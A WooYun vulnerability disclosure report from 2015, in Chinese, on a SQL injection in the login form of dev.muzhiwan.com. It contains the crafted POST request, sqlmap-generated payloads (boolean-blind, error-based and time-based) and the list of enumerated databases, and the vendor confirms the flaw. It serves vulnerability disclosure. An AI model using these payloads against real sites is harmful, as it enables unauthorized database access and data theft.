当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118558

漏洞标题:拇指玩某处SQL注入

相关厂商:muzhiwan.com

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-06-08 09:37

修复时间:2015-07-23 09:44

公开时间:2015-07-23 09:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-08: 细节已通知厂商并且等待厂商处理中
2015-06-08: 厂商已经确认,细节仅向厂商公开
2015-06-18: 细节向核心白帽子及相关领域专家公开
2015-06-28: 细节向普通白帽子公开
2015-07-08: 细节向实习白帽子公开
2015-07-23: 细节向公众公开

简要描述:

【HD】 以团队之名 以个人之荣耀 共建网络安全

详细说明:

POST数据包:

POST /user/login HTTP/1.1
Host: dev.muzhiwan.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://dev.muzhiwan.com/user/login
Cookie: Hm_lvt_92a780f20246425ad5bb0bc61d953b3c=1433520013; Hm_lpvt_92a780f20246425ad5bb0bc61d953b3c=1433520177; _ga=GA1.2.2103820007.1433520014; _gat=1; stat_search=%27; PHPSESSID=996aea4c7f87b5580e88706476c062ef
X-Forwarded-For: 8.8.8.8'
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
username=admin&password=admin


参数 username 未过滤 导致了注入 3库 具体参数见底下漏洞证明

1.png


2.png


3.png


漏洞证明:

POST parameter 'username' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] n
sqlmap identified the following injection points with a total of 455 HTTP(s) req
uests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
Payload: username=admin' RLIKE (SELECT (CASE WHEN (6451=6451) THEN 0x61646d6
96e ELSE 0x28 END)) AND 'jFdy'='jFdy&password=admin
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: username=admin' AND (SELECT 6107 FROM(SELECT COUNT(*),CONCAT(0x7162
716a71,(SELECT (ELT(6107=6107,1))),0x7162787671,FLOOR(RAND(0)*2))x FROM INFORMAT
ION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'JLtW'='JLtW&password=admin
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: username=admin' OR SLEEP(5) AND 'uwHx'='uwHx&password=admin
---
[00:47:42] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.14
back-end DBMS: MySQL 5.0
[00:47:42] [INFO] fetching database names
[00:47:43] [INFO] the SQL query used returns 3 entries
[00:47:43] [INFO] starting 3 threads
[00:47:43] [INFO] retrieved: information_schema
[00:47:43] [INFO] retrieved: sdk
[00:47:51] [INFO] retrieved: test
available databases [3]:
[*] information_schema
[*] sdk
[*] test
[00:47:52] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 219 times
[00:47:52] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\dev.muzhiwan.com'
[*] shutting down at 00:47:52

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-06-08 09:43

厂商回复:

我们会及时的修复。。

最新状态:

暂无